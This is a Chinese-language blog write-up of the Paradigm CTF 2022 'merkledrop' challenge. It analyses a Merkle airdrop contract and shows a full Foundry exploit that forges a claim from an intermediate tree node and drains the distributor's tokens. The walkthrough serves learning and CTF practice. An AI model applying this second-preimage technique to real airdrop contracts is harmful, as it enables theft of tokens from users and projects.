04.merkledrop
2023-09-18 11:09:36 # 14.Paradigm CTF 2022

merkledrop

分析

1.任务

本题关于merkle树，题目将75000个代币空投到merkleDistributor中，然后完成题目的条件有两个：

  • merkleDistributor的余额为0
  • merkle树的64个节点中，至少有一个节点没有取过钱
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
contract Setup {

    Token public immutable token;
    MerkleDistributor public immutable merkleDistributor;

    constructor() payable {
        token = new Token();
        uint256 airdropAmount = 75000 * 10 ** 18;
        merkleDistributor = new MerkleDistributor(
            address(token), 
            bytes32(0x5176d84267cd453dad23d8f698d704fc7b7ee6283b5131cb3de77e58eb9c3ec3)
        );
        token.transfer(address(merkleDistributor), airdropAmount);
    }

    function isSolved() public view returns (bool) {
        bool condition1 = token.balanceOf(address(merkleDistributor)) == 0;
        bool condition2 = false;
        for (uint256 i = 0; i < 64; ++i) {
            if (!merkleDistributor.isClaimed(i)) {
                condition2 = true;
                break;
            }
        }
        return condition1 && condition2;
    }
}

2.全局观

题目提供了三个合约

  • Setup.sol
    • 初始化题目，没啥特别的
    • 有一个非常普通的ERC20代币
  • MerkleProof.sol
    • merkle树的verify函数，library来的
  • MerkleDistributor.sol
    • 通过merkle树的校验而获取空投，64个叶子节点，64个空投
    • 证明有资格获得空投也很容易：
      • 有一张带有您的地址和金额的叶子。
      • 提供从叶子到根哈希的路径。具体来说，您需要证明树的每一层上的每一对中的其他哈希值。

前置知识：merkle验证自下而上，提供叶子节点、路径、根哈希

3.分析

这么看来MerkleDistributor合约是最重要的，也是唯一的可操作的合约。此合约中有三个函数：isClaimed(), _setClaimed(), claim()，并且只有claim()可以调用，isClaimed()用于查询，_setClaimed()用于领取过空投之后就记录下来，一人领取一次。

其实isClaimed()和_setClaimed()看不懂关系不大，前者一顿操作猛如虎，其实只是为了查询是否领取过空投，一般不会出问题，而后者是在领取空投的时候设置一次，也不会出问题。那么，我们就把视线移动到claim()方法。

3.1整理领取空投逻辑

题目给了一个tree.json文件，包括了64个叶子节点信息，这64个叶子，配上路径，这个叶子节点地址就可以领取到空投了，并且64个叶子节点领取完刚刚好是空投总额。这就很矛盾了，题目要求我们拿完空投，但是又不可以全部人都领取，所以我们不能通过正常途径完成题目，这一定有些啥bug。

分析一波claim()，逻辑很清晰，是否领取过=>计算和验证=>记录已领取空投，没有任何问题。一切都很顺利正常，到底哪里出问题了呢？

1
2
3
4
5
6
7
8
9
10
11
12
13
function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external {
    require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');

    // Verify the merkle proof.
    bytes32 node = keccak256(abi.encodePacked(index, account, amount));
    require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');

    // Mark it claimed and send the token.
    _setClaimed(index);
    require(ERC20Like(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.');

    emit Claimed(index, account, amount);
}

我觉得这只能凭借经验而谈了，形参amount的类型是uint96，而不是一般的uint256，漏洞也许就会出现在这种地方，并且通过和标准库比较也不同，标准库是uint256。

然后进行哈希，从叶子节点开始，index是叶子节点的序号，account是接收空投的地址，amount是金额，三者加起来正好64字节。

1
bytes32 node = keccak256(abi.encodePacked(index, account, amount));

如果我们把每个叶子节点的按照上面的式子进行拼接然后去算哈希值，abi.encodePacked()的结果如下：

并且验证的时候，是通过左子树和右子树的哈希结果进行左右拼接，然后merkle树向上继续做一样的操作，直到树根。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function verify(bytes32[] memory proof,bytes32 root,bytes32 leaf)internal pure returns (bool) {
  bytes32 computedHash = leaf;

  for (uint256 i = 0; i < proof.length; i++) {
    bytes32 proofElement = proof[i];

    if (computedHash < proofElement) {
      // Hash(current computed hash + current element of the proof)
      computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
    } else {
      // Hash(current element of the proof + current computed hash)
      computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
    }
  }

我们有个发现：对于每一个拼接结果，（我们就拿第一个结果来看），我们左边32字节右边32字节分开来看，左边0000000000000000000000000000000000000000000000000000000000000001像是一个索引，用于确定这64个空投地址，而右边00E21E550021Af51258060A0E18148e36607C9df00000009906894166afcc878像是一个正常的哈希值。

我们知道，就是这个东西会被记录为已经领取空投，那么如果我们拼接的结果不是这64个空投地址的拼接结果，但也能通过merkle树检验呢？想法很棒！因为对于merkle树，即使不从叶子节点出来，从中间出发网上，只要路径哈希是对的，一样可以验证。那么我们可以从中间出发然后通过验证，获取得到空投，并且题目中的64个空投地址不会被记录，而余额会被消耗。

3.2想法初探

带着这个想法，我们出发。想要从merkle树的中间开始验证，那么我们就要知道中间这个hash是多少。

并且通过题目，我们有一个限制条件如下：我们发空投的金额不得超过75000 * 10 ** 18个代币，换算成16进制就是fe1c215e8f838e00000，那么在拼接结果中，amount的部分至少要小于这个值，那么至少包含前面5个连续的0。举个例子：第一个的拼接结果00000009906894166afcc878，这个数值不得大于fe1c215e8f838e00000，那么至少包含前面5个连续的0。

1
require(ERC20Like(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.');

如果我们想要找到这么一个中间的哈希值，那么它一定也要满足这个条件，不然转账会报错！因此我们在tree.js文件中，ctrl+F搜索00000，还真的发现了这么一个中间值：

1
0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b

他是节点37的路径中的其中一个值。

1
2
3
4
5
6
7
8
9
10
11
12
"0x8a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e": {
    "index": 37,
    "amount": "0x5dacf28c4e17721edb",
    "proof": [
        "0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b",
        "0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d",
        "0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde",
        "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813",
        "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c",
        "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5"
    ]
},

既然有中间的一个hash值满足这个条件，那么右边的32字节就是它了，然后我们找左边的32字节。我们分析可知，0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b是路径的第一个哈希，说明叶子节点拼接进行hash之后，就和它进行再次拼接hash，他是位于倒数第二层的。

这么一来，左值就是37叶子节点拼接hash的结果，构造成一个新的hash值作为左值。这样我们就满足了我们想要做到的：

  • 左值作为索引不是64个节点的拼接结果之一，不会被记录到isClaimed()
  • 右值满足transfer()的条件

那么我们如下这么构造，就可以从倒数第二层开始往上验证，然后取到一笔钱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bytes32[] memory merkleProof1 = new bytes32[](5);
merkleProof1[0] = bytes32(0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d);
merkleProof1[1] = bytes32(0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde);
merkleProof1[2] = bytes32(0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813);
merkleProof1[3] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
merkleProof1[4] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
merkleDistributor.claim(
        uint256(keccak256(abi.encodePacked(
            uint256(37),
            address(0x8a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e),
            uint96(0x5dacf28c4e17721edb)
        ))),
        address(0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A), 
        0x00000f40f0c122ae08d2207b, 
        merkleProof1
);

执行完这个之后，我们消耗了空投0x00000f40f0c122ae08d2207b这么多钱，那么还剩下多少需要消耗完呢？

1
2
3
   75000*10*18 - 0x00000f40f0c122ae08d2207b
= 0xfe1c215e8f838e00000 - 0x00000f40f0c122ae08d2207b
= a0d154c64a300ddf85

这样，我们再消耗a0d154c64a300ddf85多金额即可，如果题目正常，那么应该会有一个账户的空投金额是这个数，如果变态，那可能是多个账户的金额组合（这时我们就要用算法，从2个账户组合开始，两两余额相加然后作比较，然后3个账户，4个。。。）。我们继续ctrl+f在tree.js文件里面查找a0d154c64a300ddf85，很好，找到了：

1
2
3
4
5
6
7
8
9
10
11
12
"0x249934e4C5b838F920883a9f3ceC255C0aB3f827": {
    "index": 8,
    "amount": "0xa0d154c64a300ddf85",
    "proof": [
        "0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00",
        "0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3",
        "0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2",
        "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a",
        "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c",
        "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5"
    ]
},

这样，我们用叶子节点8就可以消耗完全部金额了

1
2
3
4
5
6
7
8
bytes32[] memory merkleProof2 = new bytes32[](6);
merkleProof2[0] = bytes32(0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00);
merkleProof2[1] = bytes32(0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3);
merkleProof2[2] = bytes32(0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2);
merkleProof2[3] = bytes32(0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a);
merkleProof2[4] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
merkleProof2[5] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
merkleDistributor.claim(8, address(0x249934e4C5b838F920883a9f3ceC255C0aB3f827), 0xa0d154c64a300ddf85, merkleProof2);

由此，我们用两个账户，完成了题目的要求：消耗完空投，不得用完64个叶子节点

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pragma solidity 0.8.16;

import "../../src/04.merkledrop/Setup.sol";
import "forge-std/Test.sol";

contract merkledrop is Test{

    Setup setup;
    MerkleDistributor merkleDistributor;

    function setUp() public {
        setup = new Setup(); // 创建一个题目实例
        merkleDistributor = setup.merkleDistributor(); 
    }

    function test_isSolved() public {

        // 因为已经跳过了叶子节点那一层，所以路径少了一个
        bytes32[] memory merkleProof1 = new bytes32[](5);
        merkleProof1[0] = bytes32(0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d);
        merkleProof1[1] = bytes32(0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde);
        merkleProof1[2] = bytes32(0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813);
        merkleProof1[3] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
        merkleProof1[4] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
        merkleDistributor.claim(
                // 从叶子节点计算出来的hash作为左值
                uint256(keccak256(abi.encodePacked(
                    uint256(37),
                    address(0x8a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e),
                    uint96(0x5dacf28c4e17721edb)
                ))),
                // 特殊的五个0作为右值
                address(0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A), 
                0x00000f40f0c122ae08d2207b, 
                // 配置路径
                merkleProof1
        );

        bytes32[] memory merkleProof2 = new bytes32[](6);
        merkleProof2[0] = bytes32(0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00);
        merkleProof2[1] = bytes32(0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3);
        merkleProof2[2] = bytes32(0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2);
        merkleProof2[3] = bytes32(0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a);
        merkleProof2[4] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
        merkleProof2[5] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
        merkleDistributor.claim(8, address(0x249934e4C5b838F920883a9f3ceC255C0aB3f827), 0xa0d154c64a300ddf85, merkleProof2);

        assertEq(setup.isSolved(),true); // 验证是否完成题目
    }

}

反思

  • 第一个关键点：想到merkle树可以从中间网上开始验证一样可以通过
  • 第二个关键点：根据transfer()的转账条件限制至少5个连续0
  • 第三个关键点：记录不是64个节点之一即可，那么我们可以用其他账户进行领取空投，中间开始
  • 当题目给了很庞大的数据的时候，往往需要ctrl+f查找分析题目所得到的关键信息，这是突破口，不可能让我们一个一个看的
Prev
2023-09-18 11:09:36 # 14.Paradigm CTF 2022
Next